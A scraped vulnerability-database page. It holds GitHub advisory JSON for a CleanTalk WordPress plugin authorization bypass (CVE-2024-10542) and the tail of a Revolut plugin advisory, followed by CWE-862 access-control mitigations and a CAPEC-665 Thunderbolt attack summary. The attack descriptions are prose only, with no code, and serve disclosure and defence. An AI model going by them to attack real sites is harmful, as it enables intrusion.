    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52224"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/revolut-gateway-for-woocommerce/wordpress-revolut-gateway-for-woocommerce-plugin-4-9-5-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R694-88F4-27HQ

Vulnerability from github – Published: 2024-11-26 06:31 – Updated: 2024-11-26 06:31
VLAI
Details

The Spam protection, Anti-Spam, FireWall by CleanTalk plugin for WordPress is vulnerable to unauthorized Arbitrary Plugin Installation due to an authorization bypass via reverse DNS spoofing on the checkWithoutToken function in all versions up to, and including, 6.43.2. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins which can be leveraged to achieve remote code execution if another vulnerable plugin is installed and activated.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-10542"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-26T06:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "The Spam protection, Anti-Spam, FireWall by CleanTalk plugin for WordPress is vulnerable to unauthorized Arbitrary Plugin Installation due to an authorization bypass via reverse DNS spoofing on the checkWithoutToken function in all versions up to, and including, 6.43.2. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins which can be leveraged to achieve remote code execution if another vulnerable plugin is installed and activated.",
  "id": "GHSA-r694-88f4-27hq",
  "modified": "2024-11-26T06:31:03Z",
  "published": "2024-11-26T06:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10542"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/cleantalk-spam-protect/tags/6.43.2/lib/Cleantalk/ApbctWP/RemoteCalls.php#L41"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3179819/cleantalk-spam-protect#file631"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d7eb5fad-bb62-4f0b-ad52-b16c3e442b62?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

← Back to the CWE list